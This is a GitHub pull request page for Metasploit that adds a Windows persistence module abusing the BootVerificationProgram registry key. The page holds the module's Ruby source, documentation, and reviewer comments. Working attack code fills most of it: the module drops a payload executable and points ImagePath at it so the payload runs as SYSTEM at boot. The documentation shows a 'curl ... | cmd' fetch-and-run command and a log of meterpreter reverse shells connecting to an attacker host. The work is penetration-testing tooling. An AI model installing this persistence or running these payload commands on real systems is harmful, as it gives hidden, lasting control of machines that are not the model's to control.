-
Notifications
You must be signed in to change notification settings - Fork 14.9k
Add Windows Boot Verification Program persistence #21550
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Changes from 1 commit
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change | ||||
|---|---|---|---|---|---|---|
| @@ -0,0 +1,110 @@ | ||||||
| ## Vulnerable Application | ||||||
|
|
||||||
| This module establishes persistence by configuring the BootVerificationProgram | ||||||
| registry key. It uploads a payload executable and modifies the 'ImagePath' | ||||||
| value under HKLM\SYSTEM\CurrentControlSet\Control\BootVerificationProgram. | ||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
|
||||||
|
|
||||||
| The payload is executed by the Service Control Manager early in the boot cycle, | ||||||
| running with SYSTEM privileges before user logon. | ||||||
|
|
||||||
| Administrator or SYSTEM privileges are required to modify HKLM. | ||||||
|
|
||||||
| Verified on Windows 11 24H2+ (10.0 Build 26200). | ||||||
|
|
||||||
| ## Verification Steps | ||||||
|
|
||||||
| 1. Start `msfconsole` | ||||||
| 2. Get an admin or SYSTEM meterpreter session | ||||||
| 3. `use exploit/windows/persistence/boot_verification_program` | ||||||
| 4. `set SESSION [SESSION]` | ||||||
| 5. `run` | ||||||
| 6. Reboot the target machine | ||||||
| 7. You should get a new meterpreter session | ||||||
|
|
||||||
| ## Options | ||||||
|
|
||||||
| ### PAYLOAD_NAME | ||||||
|
|
||||||
| Name of the exe file to write. Defaults to a random 8 character string. | ||||||
|
|
||||||
| ## Scenarios | ||||||
|
|
||||||
| ### Windows 11 24H2+ (10.0 Build 26200) | ||||||
|
|
||||||
| Get a meterpreter session | ||||||
|
|
||||||
| ``` | ||||||
| msf > setg verbose true | ||||||
| verbose => true | ||||||
| msf > set lhost 1.1.1.1 | ||||||
| lhost => 1.1.1.1 | ||||||
| msf > use payload/cmd/windows/http/x64/meterpreter_reverse_tcp | ||||||
| msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > set fetch_command CURL | ||||||
| fetch_command => CURL | ||||||
| msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > set fetch_pipe true | ||||||
| fetch_pipe => true | ||||||
| msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > to_handler | ||||||
| [*] Command served: curl -so %TEMP%\VXnishimdj.exe http://1.1.1.1:8080/nCaX6BQrNbeVWy71mJdg9w & start /B %TEMP%\VXnishimdj.exe | ||||||
|
|
||||||
| [*] Command to run on remote host: curl -s http://1.1.1.1:8080/tIBmwp8Cy7-zPaVZhD-bvw|cmd | ||||||
| [*] Payload Handler Started as Job 0 | ||||||
| msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > | ||||||
| [*] Fetch handler listening on 1.1.1.1:8080 | ||||||
| [*] HTTP server started | ||||||
| [*] Adding resource /nCaX6BQrNbeVWy71mJdg9w | ||||||
| [*] Adding resource /tIBmwp8Cy7-zPaVZhD-bvw | ||||||
| [*] Started reverse TCP handler on 1.1.1.1:4444 | ||||||
| [*] Client 2.2.2.2 requested /tIBmwp8Cy7-zPaVZhD-bvw | ||||||
| [*] Sending payload to 2.2.2.2 (curl/8.19.0) | ||||||
| [*] Client 2.2.2.2 requested /nCaX6BQrNbeVWy71mJdg9w | ||||||
| [*] Sending payload to 2.2.2.2 (curl/8.19.0) | ||||||
| [*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:50977) at 2026-06-07 23:20:59 +0200 | ||||||
|
|
||||||
| msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > sessions -i 1 | ||||||
| [*] Starting interaction with 1... | ||||||
|
|
||||||
| meterpreter > sysinfo | ||||||
| Computer : TESTWIN | ||||||
| OS : Windows 11 24H2+ (10.0 Build 26200). | ||||||
| Architecture : x64 | ||||||
| System Language : en_US | ||||||
| Domain : WORKGROUP | ||||||
| Logged On Users : 2 | ||||||
| Meterpreter : x64/windows | ||||||
| meterpreter > getuid | ||||||
| Server username: TESTWIN\user | ||||||
| ``` | ||||||
|
|
||||||
| Install Persistence | ||||||
|
|
||||||
| ``` | ||||||
| msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > use exploit/windows/persistence/boot_verification_program | ||||||
| [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp | ||||||
| msf exploit(windows/persistence/boot_verification_program) > set session 1 | ||||||
| session => 1 | ||||||
| msf exploit(windows/persistence/boot_verification_program) > set payload windows/x64/meterpreter/reverse_tcp | ||||||
| payload => windows/x64/meterpreter/reverse_tcp | ||||||
| msf exploit(windows/persistence/boot_verification_program) > set lport 4445 | ||||||
| lport => 4445 | ||||||
| msf exploit(windows/persistence/boot_verification_program) > run | ||||||
| [*] Exploit running as background job 1. | ||||||
| [*] Exploit completed, but no session was created. | ||||||
| msf exploit(windows/persistence/boot_verification_program) > | ||||||
| [*] Started reverse TCP handler on 1.1.1.1:4445 | ||||||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||||||
| [+] The target appears to be vulnerable. Target appears vulnerable to Boot Verification Program persistence | ||||||
| [*] Writing payload to C:\Users\user\AppData\Local\Temp\eZjFmuNC.exe | ||||||
| [+] Payload EXE written to C:\Users\user\AppData\Local\Temp\eZjFmuNC.exe | ||||||
| [*] The BootVerificationProgram key was not found. Creating a new structure... | ||||||
| [+] Persistence installed | ||||||
| [*] Meterpreter-compatible Cleanup RC file: /home/user/.msf4/logs/persistence/TESTWIN_20260607.2146/TESTWIN_20260607.2146.rc | ||||||
| ``` | ||||||
|
|
||||||
| Show the persistence by rebooting the machine | ||||||
|
|
||||||
| ``` | ||||||
| msf exploit(windows/persistence/boot_verification_program) > [*] 2.2.2.2 - Meterpreter session 1 closed. Reason: Died | ||||||
|
|
||||||
| [*] Sending stage (248902 bytes) to 2.2.2.2 | ||||||
| [*] Meterpreter session 2 opened (1.1.1.1:4445 -> 2.2.2.2:49672) at 2026-06-07 23:23:04 +0200 | ||||||
| ``` | ||||||
| Original file line number | Diff line number | Diff line change | ||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| @@ -0,0 +1,121 @@ | ||||||||||||||||||||||||||||||||||||||||||||||||||
| ## | ||||||||||||||||||||||||||||||||||||||||||||||||||
| # This module requires Metasploit: https://metasploit.com/download | ||||||||||||||||||||||||||||||||||||||||||||||||||
| # Current source: https://github.com/rapid7/metasploit-framework | ||||||||||||||||||||||||||||||||||||||||||||||||||
| ## | ||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||
| class MetasploitModule < Msf::Exploit::Local | ||||||||||||||||||||||||||||||||||||||||||||||||||
| Rank = ExcellentRanking | ||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||
| include Msf::Post::File | ||||||||||||||||||||||||||||||||||||||||||||||||||
| include Msf::Exploit::EXE | ||||||||||||||||||||||||||||||||||||||||||||||||||
| include Msf::Post::Windows::Priv | ||||||||||||||||||||||||||||||||||||||||||||||||||
| include Msf::Post::Windows::Registry | ||||||||||||||||||||||||||||||||||||||||||||||||||
| include Msf::Post::Windows::Services | ||||||||||||||||||||||||||||||||||||||||||||||||||
| prepend Msf::Exploit::Remote::AutoCheck | ||||||||||||||||||||||||||||||||||||||||||||||||||
| include Msf::Exploit::Local::Persistence | ||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||
| def initialize(info = {}) | ||||||||||||||||||||||||||||||||||||||||||||||||||
| super( | ||||||||||||||||||||||||||||||||||||||||||||||||||
| update_info( | ||||||||||||||||||||||||||||||||||||||||||||||||||
| info, | ||||||||||||||||||||||||||||||||||||||||||||||||||
| 'Name' => 'Boot Verification Program Persistence', | ||||||||||||||||||||||||||||||||||||||||||||||||||
| 'Description' => %q{ | ||||||||||||||||||||||||||||||||||||||||||||||||||
| This module establishes persistence by configuring the BootVerificationProgram | ||||||||||||||||||||||||||||||||||||||||||||||||||
| registry key. It uploads a payload executable and modifies the 'ImagePath' | ||||||||||||||||||||||||||||||||||||||||||||||||||
| value under HKLM\SYSTEM\CurrentControlSet\Control\BootVerificationProgram. | ||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||
| The payload is executed by the Service Control Manager early in the boot cycle, | ||||||||||||||||||||||||||||||||||||||||||||||||||
| running with SYSTEM privileges before user logon. | ||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||
| Administrator or SYSTEM privileges are required to execute this persistence technique. | ||||||||||||||||||||||||||||||||||||||||||||||||||
| }, | ||||||||||||||||||||||||||||||||||||||||||||||||||
| 'License' => MSF_LICENSE, | ||||||||||||||||||||||||||||||||||||||||||||||||||
| 'Author' => [ | ||||||||||||||||||||||||||||||||||||||||||||||||||
| 'Emanuele Cervelli', | ||||||||||||||||||||||||||||||||||||||||||||||||||
| ], | ||||||||||||||||||||||||||||||||||||||||||||||||||
| 'Platform' => [ 'win' ], | ||||||||||||||||||||||||||||||||||||||||||||||||||
| 'Arch' => [ARCH_X64, ARCH_X86], | ||||||||||||||||||||||||||||||||||||||||||||||||||
| 'SessionTypes' => [ 'meterpreter' ], | ||||||||||||||||||||||||||||||||||||||||||||||||||
| 'Targets' => [ | ||||||||||||||||||||||||||||||||||||||||||||||||||
| [ 'Automatic', {} ] | ||||||||||||||||||||||||||||||||||||||||||||||||||
| ], | ||||||||||||||||||||||||||||||||||||||||||||||||||
| 'References' => [ | ||||||||||||||||||||||||||||||||||||||||||||||||||
| ['ATT&CK', Mitre::Attack::Technique::T1547_BOOT_OR_LOGON_AUTOSTART_EXECUTION], | ||||||||||||||||||||||||||||||||||||||||||||||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
|
||||||||||||||||||||||||||||||||||||||||||||||||||
| ['URL', 'https://www.cyberark.com/resources/ransomware-protection/persistence-techniques-that-persist'] | ||||||||||||||||||||||||||||||||||||||||||||||||||
| ], | ||||||||||||||||||||||||||||||||||||||||||||||||||
| 'DefaultTarget' => 0, | ||||||||||||||||||||||||||||||||||||||||||||||||||
| # Date the technique was published on MITRE ATT&CK (T1547) | ||||||||||||||||||||||||||||||||||||||||||||||||||
| 'DisclosureDate' => '2020-01-23', | ||||||||||||||||||||||||||||||||||||||||||||||||||
| 'Notes' => { | ||||||||||||||||||||||||||||||||||||||||||||||||||
| 'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION], | ||||||||||||||||||||||||||||||||||||||||||||||||||
| 'Stability' => [CRASH_SAFE], | ||||||||||||||||||||||||||||||||||||||||||||||||||
| 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS] | ||||||||||||||||||||||||||||||||||||||||||||||||||
| } | ||||||||||||||||||||||||||||||||||||||||||||||||||
| ) | ||||||||||||||||||||||||||||||||||||||||||||||||||
| ) | ||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||
| register_options([ | ||||||||||||||||||||||||||||||||||||||||||||||||||
| OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']) | ||||||||||||||||||||||||||||||||||||||||||||||||||
| ]) | ||||||||||||||||||||||||||||||||||||||||||||||||||
| end | ||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||
| def check | ||||||||||||||||||||||||||||||||||||||||||||||||||
| return CheckCode::Unknown('Admin or SYSTEM privileges are required') unless is_system? || is_admin? | ||||||||||||||||||||||||||||||||||||||||||||||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
|
||||||||||||||||||||||||||||||||||||||||||||||||||
| return CheckCode::Unknown("Target directory #{writable_dir} does not exist") unless directory?(writable_dir) | ||||||||||||||||||||||||||||||||||||||||||||||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
this has been my boilerplate code block for checking |
||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||
| CheckCode::Appears('Target appears vulnerable to Boot Verification Program persistence') | ||||||||||||||||||||||||||||||||||||||||||||||||||
| end | ||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||
| def install_persistence | ||||||||||||||||||||||||||||||||||||||||||||||||||
| fail_with(Failure::NoAccess, 'Admin or SYSTEM privileges are required') unless is_system? || is_admin? | ||||||||||||||||||||||||||||||||||||||||||||||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
Autocheck is enabled, so no need to recheck this |
||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||
| payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(8) | ||||||||||||||||||||||||||||||||||||||||||||||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
boilerplate, i like to add a little more randomness |
||||||||||||||||||||||||||||||||||||||||||||||||||
| payload_name += '.exe' unless payload_name.downcase.end_with?('.exe') | ||||||||||||||||||||||||||||||||||||||||||||||||||
| payload_exe = generate_payload_exe | ||||||||||||||||||||||||||||||||||||||||||||||||||
| payload_pathname = "#{writable_dir}\\#{payload_name}" | ||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||
| vprint_status("Writing payload to #{payload_pathname}") | ||||||||||||||||||||||||||||||||||||||||||||||||||
| fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe) | ||||||||||||||||||||||||||||||||||||||||||||||||||
| print_good("Payload EXE written to #{payload_pathname}") | ||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||
| boot_reg_key = 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\BootVerificationProgram' | ||||||||||||||||||||||||||||||||||||||||||||||||||
| had_preexisting_boot_key = false | ||||||||||||||||||||||||||||||||||||||||||||||||||
| old_image_path = nil | ||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||
| if registry_enumkeys(boot_reg_key).nil? | ||||||||||||||||||||||||||||||||||||||||||||||||||
| vprint_status('The BootVerificationProgram key was not found. Creating a new structure...') | ||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||
| unless registry_createkey(boot_reg_key) | ||||||||||||||||||||||||||||||||||||||||||||||||||
| rm_f(payload_pathname) | ||||||||||||||||||||||||||||||||||||||||||||||||||
| fail_with(Failure::UnexpectedReply, "Failed to create missing registry key: #{boot_reg_key}") | ||||||||||||||||||||||||||||||||||||||||||||||||||
| end | ||||||||||||||||||||||||||||||||||||||||||||||||||
| else | ||||||||||||||||||||||||||||||||||||||||||||||||||
| vprint_good('The BootVerificationProgram key already exists. Skipping creation step.') | ||||||||||||||||||||||||||||||||||||||||||||||||||
| had_preexisting_boot_key = true | ||||||||||||||||||||||||||||||||||||||||||||||||||
| old_image_path = registry_getvaldata(boot_reg_key, 'ImagePath') | ||||||||||||||||||||||||||||||||||||||||||||||||||
| end | ||||||||||||||||||||||||||||||||||||||||||||||||||
|
Comment on lines
+86
to
+97
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
Contributor
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. With this change, if the key doesn't initially exist, the module will create it and then it will set |
||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||
| unless registry_setvaldata(boot_reg_key, 'ImagePath', payload_pathname, 'REG_EXPAND_SZ') | ||||||||||||||||||||||||||||||||||||||||||||||||||
| if old_image_path | ||||||||||||||||||||||||||||||||||||||||||||||||||
| registry_setvaldata(boot_reg_key, 'ImagePath', old_image_path, 'REG_EXPAND_SZ') | ||||||||||||||||||||||||||||||||||||||||||||||||||
| elsif had_preexisting_boot_key | ||||||||||||||||||||||||||||||||||||||||||||||||||
| registry_deleteval(boot_reg_key, 'ImagePath') | ||||||||||||||||||||||||||||||||||||||||||||||||||
| else | ||||||||||||||||||||||||||||||||||||||||||||||||||
| registry_deletekey(boot_reg_key) | ||||||||||||||||||||||||||||||||||||||||||||||||||
| end | ||||||||||||||||||||||||||||||||||||||||||||||||||
| rm_f(payload_pathname) | ||||||||||||||||||||||||||||||||||||||||||||||||||
| fail_with(Failure::UnexpectedReply, "Failed to write registry value: #{boot_reg_key}\\ImagePath") | ||||||||||||||||||||||||||||||||||||||||||||||||||
| end | ||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||
| print_good('Persistence installed') | ||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||
| @clean_up_rc << "execute -f cmd.exe -a '/c del \"#{payload_pathname}\"' -i -H\n" | ||||||||||||||||||||||||||||||||||||||||||||||||||
| if had_preexisting_boot_key && old_image_path | ||||||||||||||||||||||||||||||||||||||||||||||||||
| @clean_up_rc << "reg setval -k '#{boot_reg_key}' -v 'ImagePath' -d '#{old_image_path}' -t 'REG_EXPAND_SZ'\n" | ||||||||||||||||||||||||||||||||||||||||||||||||||
| elsif had_preexisting_boot_key | ||||||||||||||||||||||||||||||||||||||||||||||||||
| @clean_up_rc << "reg deleteval -k '#{boot_reg_key}' -v 'ImagePath'\n" | ||||||||||||||||||||||||||||||||||||||||||||||||||
| else | ||||||||||||||||||||||||||||||||||||||||||||||||||
| @clean_up_rc << "reg deletekey -k '#{boot_reg_key}'\n" | ||||||||||||||||||||||||||||||||||||||||||||||||||
| end | ||||||||||||||||||||||||||||||||||||||||||||||||||
| end | ||||||||||||||||||||||||||||||||||||||||||||||||||
| end | ||||||||||||||||||||||||||||||||||||||||||||||||||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.